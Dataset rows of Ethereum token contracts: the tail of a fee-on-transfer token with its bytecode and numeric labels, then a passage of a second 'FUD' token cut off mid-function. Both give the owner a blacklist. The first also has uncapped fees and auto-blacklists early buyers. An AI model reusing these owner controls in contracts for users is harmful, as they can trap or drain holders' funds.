}
IERC20 erc20token = IERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
erc20token.transfer(owner(), balance);
}
function excludefromLimit(address account, bool excluded)
external
onlyOwner
{
_isExcludedFromLimit[account] = excluded;
}
function setBlackList(address addr, bool value) external onlyOwner {
_isBlackListed[addr] = value;
}
function enableTrading() external onlyOwner {
isTradingEnabled = true;
tradingStartBlock = block.number;
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"Token: The PancakeSwap pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(
automatedMarketMakerPairs[pair] != value,
"Token: Automated market maker pair is already set to that value"
);
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function setBuyFee(
uint16 marketing,
uint16 liquidity ) external onlyOwner
{
buyFee.marketingFee = marketing;
buyFee.liquidityFee = liquidity;
}
function setSellFee(
uint16 marketing,
uint16 liquidity
) external onlyOwner {
sellFee.marketingFee = marketing;
sellFee.liquidityFee = liquidity;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function setMarketingWallet(address newWallet) external onlyOwner {
require (newWallet != address(0), "Marketing wallet can not be a zero address");
_marketingWallet = payable(newWallet);
}
function setSwapEnabled(bool value) external onlyOwner {
swapEnabled = value;
}
function setMaxWallet(uint256 amount) external onlyOwner {
maxWalletAmount = amount * 10**18;
}
function setMaxBuyAmount(uint256 amount) external onlyOwner {
require(amount >= 100000, "Can't set lower amount, No rugPull");
maxBuyAmount = amount * 10**18;
}
function setMaxSellAmount(uint256 amount) external onlyOwner {
require(amount >= 100000, "Can't set lower amount, No rugPull");
maxSellAmount = amount * 10**18;
}
function setSwapTokensAtAmount(uint256 amount) external onlyOwner {
swapTokensAtAmount = amount * 10**18;
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "Token: transfer from the zero address");
require(to != address(0), "Token: transfer to the zero address");
require(
!_isBlackListed[from] && !_isBlackListed[to],
"Account is blacklisted"
);
require( isTradingEnabled || _isExcludedFromFees[from],
"Trading not enabled yet"
);
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >=
swapTokensAtAmount;
if (
swapEnabled &&
!swapping &&
from != uniswapV2Pair &&
overMinimumTokenBalance
) {
contractTokenBalance = swapTokensAtAmount;
uint16 totalFee = totalBuyFee + totalSellFee;
uint256 swapTokens = contractTokenBalance
.mul(buyFee.liquidityFee + sellFee.liquidityFee)
.div(totalFee);
swapAndLiquify(swapTokens);
uint256 feeTokens = contractTokenBalance - swapTokens;
swapAndSendToMarketing(feeTokens);
}
bool takeFee = true;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
uint256 fees;
if (automatedMarketMakerPairs[to]) {
fees = totalSellFee;
} else if (automatedMarketMakerPairs[from]) {
fees = totalBuyFee;
}
if (!_isExcludedFromLimit[from] && !_isExcludedFromLimit[to]) {
if (automatedMarketMakerPairs[to]) {
require(amount <= maxSellAmount, "Sell exceeds limit");
} else if (automatedMarketMakerPairs[from]) {
require(amount <= maxBuyAmount, "Buy exceeds limit");
if (block.number < tradingStartBlock + BLOCKCOUNT) {
_isBlackListed[to] = true;
}
}
if (!automatedMarketMakerPairs[to]) {
require(
balanceOf(to) + amount <= maxWalletAmount,
"Balance exceeds limit"
);
}
}
uint256 feeAmount = amount.mul(fees).div(100);
amount = amount.sub(feeAmount);
super._transfer(from, address(this), feeAmount);
}
super._transfer(from, to, amount);
}
function swapAndSendToMarketing(uint256 tokens) private lockTheSwap {
uint256 initialBalance = address(this).balance;
swapTokensForEth(tokens);
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
uint256 devShare = newBalance.div(9);
uint256 marketingShare = newBalance - devShare;
_devWallet.transfer(devShare);
_marketingWallet.transfer(marketingShare);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
// split the contract balance into halves
uint256 half = tokens.div(2);
uint256 otherHalf = tokens.sub(half);
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
} | 0x60806040526004361061026b5760003560e01c80637537a47f11610144578063b62496f5116100b6578063e2f456051161007a578063e2f45605146107bd578063e99c9d09146107d3578063ec2a520a146107f3578063f2fde38b14610813578063f34eb0b814610833578063f9d0831a1461085357600080fd5b8063b62496f5146106f1578063c024666814610721578063d798cbd214610741578063dd62ed3e14610757578063e01af92c1461079d57600080fd5b806395d89b411161010857806395d89b41146106465780639a7a23d61461065b578063a457c2d71461067b578063a9059cbb1461069b578063aa4bde28146106bb578063afa4f3b2146106d157600080fd5b80637537a47f146105bd5780637afad249146105dd57806388e765ff146105fd5780638a8c523c146106135780638da5cb5b1461062857600080fd5b80634dce97f1116101dd57806366d602ae116101a157806366d602ae146104ea57806368092bd9146105005780636c9bb93b146105205780636ddd17131461055057806370a0823114610572578063715018a6146105a857600080fd5b80634dce97f11461043a5780634fbee1931461044f5780635d0044ca146104885780635d098b38146104aa57806365b8dbc0146104ca57600080fd5b806327c8f8351161022f57806327c8f835146103495780632b14ca561461035f578063313ce5671461039f57806339509351146103c157806347062402146103e157806349bd5a5e1461040657600080fd5b806306fdde0314610277578063095ea7b3146102a25780631694505e146102d257806318160ddd1461030a57806323b872dd1461032957600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028c610873565b60405161029991906121d1565b60405180910390f35b3480156102ae57600080fd5b506102c26102bd36600461223b565b610905565b6040519015158152602001610299565b3480156102de57600080fd5b506006546102f2906001600160a01b031681565b6040516001600160a01b039091168152602001610299565b34801561031657600080fd5b506002545b604051908152602001610299565b34801561033557600080fd5b506102c2610344366004612267565b61091b565b34801561035557600080fd5b506102f261dead81565b34801561036b57600080fd5b506008546103849061ffff808216916201000090041682565b6040805161ffff938416815292909116602083015201610299565b3480156103ab57600080fd5b5060125b60405160ff9091168152602001610299565b3480156103cd57600080fd5b506102c26103dc36600461223b565b6109ca565b3480156103ed57600080fd5b506007546103849061ffff808216916201000090041682565b34801561041257600080fd5b506102f27f0000000000000000000000005c635884fdba2f1a9436a7f8fab6fd2fc59b44f281565b34801561044657600080fd5b506103af600581565b34801561045b57600080fd5b506102c261046a3660046122a8565b6001600160a01b031660009081526011602052604090205460ff1690565b34801561049457600080fd5b506104a86104a33660046122c5565b610a06565b005b3480156104b657600080fd5b506104a86104c53660046122a8565b610a48565b3480156104d657600080fd5b506104a86104e53660046122a8565b610afd565b3480156104f657600080fd5b5061031b600b5481565b34801561050c57600080fd5b506104a861051b3660046122ec565b610bf5565b34801561052c57600080fd5b506102c261053b3660046122a8565b60136020526000908152604090205460ff1681565b34801561055c57600080fd5b50600d546102c290640100000000900460ff1681565b34801561057e57600080fd5b5061031b61058d3660046122a8565b6001600160a01b031660009081526020819052604090205490565b3480156105b457600080fd5b506104a8610c4a565b3480156105c957600080fd5b506104a86105d83660046122ec565b610c80565b3480156105e957600080fd5b506104a86105f836600461233c565b610cd5565b34801561060957600080fd5b5061031b600a5481565b34801561061f57600080fd5b506104a8610d27565b34801561063457600080fd5b506005546001600160a01b03166102f2565b34801561065257600080fd5b5061028c610d6e565b34801561066757600080fd5b506104a86106763660046122ec565b610d7d565b34801561068757600080fd5b506102c261069636600461223b565b610e71565b3480156106a757600080fd5b506102c26106b636600461223b565b610f0a565b3480156106c757600080fd5b5061031b600c5481565b3480156106dd57600080fd5b506104a86106ec3660046122c5565b610f17565b3480156106fd57600080fd5b506102c261070c3660046122a8565b60146020526000908152604090205460ff1681565b34801561072d57600080fd5b506104a861073c3660046122ec565b610f59565b34801561074d57600080fd5b5061031b600e5481565b34801561076357600080fd5b5061031b61077236600461236f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156107a957600080fd5b506104a86107b836600461239d565b61106c565b3480156107c957600080fd5b5061031b60095481565b3480156107df57600080fd5b506104a86107ee3660046122c5565b6110b6565b3480156107ff57600080fd5b506104a861080e36600461233c565b61111b565b34801561081f57600080fd5b506104a861082e3660046122a8565b61116d565b34801561083f57600080fd5b506104a861084e3660046122c5565b611208565b34801561085f57600080fd5b506104a861086e3660046122a8565b61126d565b606060038054610882906123ba565b80601f01602080910402602001604051908101604052809291908181526020018280546108ae906123ba565b80156108fb5780601f106108d0576101008083540402835291602001916108fb565b820191906000526020600020905b8154815290600101906020018083116108de57829003601f168201915b5050505050905090565b6000610912338484611427565b50600192915050565b600061092884848461154b565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156109b25760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6109bf8533858403611427565b506001949350505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610912918590610a0190869061240a565b611427565b6005546001600160a01b03163314610a305760405162461bcd60e51b81526004016109a990612422565b610a4281670de0b6b3a7640000612457565b600c5550565b6005546001600160a01b03163314610a725760405162461bcd60e51b81526004016109a990612422565b6001600160a01b038116610adb5760405162461bcd60e51b815260206004820152602a60248201527f4d61726b6574696e672077616c6c65742063616e206e6f742062652061207a65604482015269726f206164647265737360b01b60648201526084016109a9565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610b275760405162461bcd60e51b81526004016109a990612422565b6006546001600160a01b0390811690821603610b985760405162461bcd60e51b815260206004820152602a60248201527f546f6b656e3a2054686520726f7574657220616c7265616479206861732074686044820152696174206164647265737360b01b60648201526084016109a9565b6006546040516001600160a01b03918216918316907f8fc842bbd331dfa973645f4ed48b11683d501ebf1352708d77a5da2ab49a576e90600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610c1f5760405162461bcd60e51b81526004016109a990612422565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610c745760405162461bcd60e51b81526004016109a990612422565b610c7e6000611b1b565b565b6005546001600160a01b03163314610caa5760405162461bcd60e51b81526004016109a990612422565b6001600160a01b03919091166000908152601260205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610cff5760405162461bcd60e51b81526004016109a990612422565b6007805461ffff928316620100000263ffffffff199091169290931691909117919091179055565b6005546001600160a01b03163314610d515760405162461bcd60e51b81526004016109a990612422565b600d805465ff000000000019166501000000000017905543600e55565b606060048054610882906123ba565b6005546001600160a01b03163314610da75760405162461bcd60e51b81526004016109a990612422565b7f0000000000000000000000005c635884fdba2f1a9436a7f8fab6fd2fc59b44f26001600160a01b0316826001600160a01b031603610e635760405162461bcd60e51b815260206004820152604c60248201527f546f6b656e3a205468652050616e63616b655377617020706169722063616e6e60448201527f6f742062652072656d6f7665642066726f6d206175746f6d617465644d61726b60648201526b65744d616b6572506169727360a01b608482015260a4016109a9565b610e6d8282611b6d565b5050565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610ef35760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016109a9565b610f003385858403611427565b5060019392505050565b600061091233848461154b565b6005546001600160a01b03163314610f415760405162461bcd60e51b81526004016109a990612422565b610f5381670de0b6b3a7640000612457565b60095550565b6005546001600160a01b03163314610f835760405162461bcd60e51b81526004016109a990612422565b6001600160a01b03821660009081526011602052604090205481151560ff90911615150361100d5760405162461bcd60e51b815260206004820152603160248201527f546f6b656e3a204163636f756e7420697320616c7265616479207468652076616044820152706c7565206f6620276578636c756465642760781b60648201526084016109a9565b6001600160a01b038216600081815260116020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146110965760405162461bcd60e51b81526004016109a990612422565b600d80549115156401000000000264ff0000000019909216919091179055565b6005546001600160a01b031633146110e05760405162461bcd60e51b81526004016109a990612422565b620186a08110156111035760405162461bcd60e51b81526004016109a990612476565b61111581670de0b6b3a7640000612457565b600b5550565b6005546001600160a01b031633146111455760405162461bcd60e51b81526004016109a990612422565b6008805461ffff928316620100000263ffffffff199091169290931691909117919091179055565b6005546001600160a01b031633146111975760405162461bcd60e51b81526004016109a990612422565b6001600160a01b0381166111fc5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109a9565b61120581611b1b565b50565b6005546001600160a01b031633146112325760405162461bcd60e51b81526004016109a990612422565b620186a08110156112555760405162461bcd60e51b81526004016109a990612476565b61126781670de0b6b3a7640000612457565b600a5550565b6005546001600160a01b031633146112975760405162461bcd60e51b81526004016109a990612422565b306001600160a01b038216036112d95760405162461bcd60e51b81526020600482015260076024820152664e6f207275677360c81b60448201526064016109a9565b6001600160a01b038116611320576005546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610e6d573d6000803e3d6000fd5b6040516370a0823160e01b815230600482015281906000906001600160a01b038316906370a0823190602401602060405180830381865afa158015611369573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138d91906124b8565b9050816001600160a01b031663a9059cbb6113b06005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af11580156113fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061142191906124d1565b50505050565b6001600160a01b0383166114895760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109a9565b6001600160a01b0382166114ea5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109a9565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166115af5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e3a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109a9565b6001600160a01b0382166116115760405162461bcd60e51b815260206004820152602360248201527f546f6b656e3a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109a9565b6001600160a01b03831660009081526013602052604090205460ff1615801561165357506001600160a01b03821660009081526013602052604090205460ff16155b6116985760405162461bcd60e51b81526020600482015260166024820152751058d8dbdd5b9d081a5cc8189b1858dadb1a5cdd195960521b60448201526064016109a9565b600d5465010000000000900460ff16806116ca57506001600160a01b03831660009081526011602052604090205460ff165b6117165760405162461bcd60e51b815260206004820152601760248201527f54726164696e67206e6f7420656e61626c65642079657400000000000000000060448201526064016109a9565b8060000361172f5761172a83836000611c57565b505050565b30600090815260208190526040902054600954600d549082101590640100000000900460ff16801561176b5750600654600160a01b900460ff16155b80156117a957507f0000000000000000000000005c635884fdba2f1a9436a7f8fab6fd2fc59b44f26001600160a01b0316856001600160a01b031614155b80156117b25750805b1561184457600954600d549092506000906117d99061ffff620100008204811691166124ee565b60085460075491925060009161181e9161ffff808616926118189261180d92620100009182900481169291909104166124ee565b879061ffff16611e2a565b90611e3d565b905061182981611e49565b60006118358286612514565b905061184081611ef0565b5050505b6001600160a01b03851660009081526011602052604090205460019060ff168061188657506001600160a01b03851660009081526011602052604090205460ff165b1561188f575060005b8015611b08576001600160a01b03851660009081526014602052604081205460ff16156118c95750600d5462010000900461ffff166118f3565b6001600160a01b03871660009081526014602052604090205460ff16156118f35750600d5461ffff165b6001600160a01b03871660009081526012602052604090205460ff1615801561193557506001600160a01b03861660009081526012602052604090205460ff16155b15611adb576001600160a01b03861660009081526014602052604090205460ff16156119a757600b548511156119a25760405162461bcd60e51b815260206004820152601260248201527114d95b1b08195e18d959591cc81b1a5b5a5d60721b60448201526064016109a9565b611a48565b6001600160a01b03871660009081526014602052604090205460ff1615611a4857600a54851115611a0e5760405162461bcd60e51b8152602060048201526011602482015270109d5e48195e18d959591cc81b1a5b5a5d607a1b60448201526064016109a9565b600e54611a1d9060059061240a565b431015611a48576001600160a01b0386166000908152601360205260409020805460ff191660011790555b6001600160a01b03861660009081526014602052604090205460ff16611adb57600c5485611a8b886001600160a01b031660009081526020819052604090205490565b611a95919061240a565b1115611adb5760405162461bcd60e51b815260206004820152601560248201527410985b185b98d948195e18d959591cc81b1a5b5a5d605a1b60448201526064016109a9565b6000611aec60646118188885611e2a565b9050611af88682611fc1565b9550611b05883083611c57565b50505b611b13868686611c57565b505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03821660009081526014602052604090205481151560ff909116151503611c035760405162461bcd60e51b815260206004820152603f60248201527f546f6b656e3a204175746f6d61746564206d61726b6574206d616b657220706160448201527f697220697320616c72656164792073657420746f20746861742076616c75650060648201526084016109a9565b6001600160a01b038216600081815260146020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038316611cbb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109a9565b6001600160a01b038216611d1d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109a9565b6001600160a01b03831660009081526020819052604090205481811015611d955760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016109a9565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611dcc90849061240a565b90915550508115611e2557826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e1c91815260200190565b60405180910390a35b611421565b6000611e368284612457565b9392505050565b6000611e36828461252b565b6006805460ff60a01b1916600160a01b1790556000611e69826002611e3d565b90506000611e778383611fc1565b905047611e8383611fcd565b6000611e8f4783611fc1565b9050611e9b838261211f565b60408051858152602081018390529081018490527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a150506006805460ff60a01b19169055505050565b6006805460ff60a01b1916600160a01b17905547611f0d82611fcd565b6000611f194783611fc1565b90506000611f28826009611e3d565b90506000611f368284612514565b6010546040519192506001600160a01b03169083156108fc029084906000818181858888f19350505050158015611f71573d6000803e3d6000fd5b50600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611fac573d6000803e3d6000fd5b50506006805460ff60a01b1916905550505050565b6000611e368284612514565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106120025761200261254d565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561205b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061207f9190612563565b816001815181106120925761209261254d565b6001600160a01b0392831660209182029290920101526006546120b89130911684611427565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906120f1908590600090869030904290600401612580565b600060405180830381600087803b15801561210b57600080fd5b505af1158015611b13573d6000803e3d6000fd5b6006546121379030906001600160a01b031684611427565b60065460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af11580156121a5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906121ca91906125f1565b5050505050565b600060208083528351808285015260005b818110156121fe578581018301518582016040015282016121e2565b81811115612210576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461120557600080fd5b6000806040838503121561224e57600080fd5b823561225981612226565b946020939093013593505050565b60008060006060848603121561227c57600080fd5b833561228781612226565b9250602084013561229781612226565b929592945050506040919091013590565b6000602082840312156122ba57600080fd5b8135611e3681612226565b6000602082840312156122d757600080fd5b5035919050565b801515811461120557600080fd5b600080604083850312156122ff57600080fd5b823561230a81612226565b9150602083013561231a816122de565b809150509250929050565b803561ffff8116811461233757600080fd5b919050565b6000806040838503121561234f57600080fd5b61235883612325565b915061236660208401612325565b90509250929050565b6000806040838503121561238257600080fd5b823561238d81612226565b9150602083013561231a81612226565b6000602082840312156123af57600080fd5b8135611e36816122de565b600181811c908216806123ce57607f821691505b6020821081036123ee57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000821982111561241d5761241d6123f4565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000816000190483118215151615612471576124716123f4565b500290565b60208082526022908201527f43616e277420736574206c6f77657220616d6f756e742c204e6f2072756750756040820152611b1b60f21b606082015260800190565b6000602082840312156124ca57600080fd5b5051919050565b6000602082840312156124e357600080fd5b8151611e36816122de565b600061ffff80831681851680830382111561250b5761250b6123f4565b01949350505050565b600082821015612526576125266123f4565b500390565b60008261254857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561257557600080fd5b8151611e3681612226565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156125d05784516001600160a01b0316835293830193918301916001016125ab565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561260657600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212200e5f1790fd2b979384dfc15870602e964b592e50a93f06d1aaa1cbb8528c20fb64736f6c634300080d0033 | [
11,
12,
13,
16,
5
] |
0xF35Af3F4CeB3Da9526331740B743Cf754FB0C6bA | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FUD is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redistributionAddress;
uint256 private _feeAddr2;
address payable private _marketingAddress;
string private constant _name = "t.me/FUDofficial";
string private constant _symbol = "FUD?";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 public openTradingTime;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_marketingAddress = payable(0x161C1B0869791D968D794271dB04aAd8CA70bF3f);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_redistributionAddress = 1;
_feeAddr2 = 10;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
if (block.timestamp < openTradingTime + 30 seconds) {
require(amount <= _maxTxAmount);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
openTradingTime = block.timestamp;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
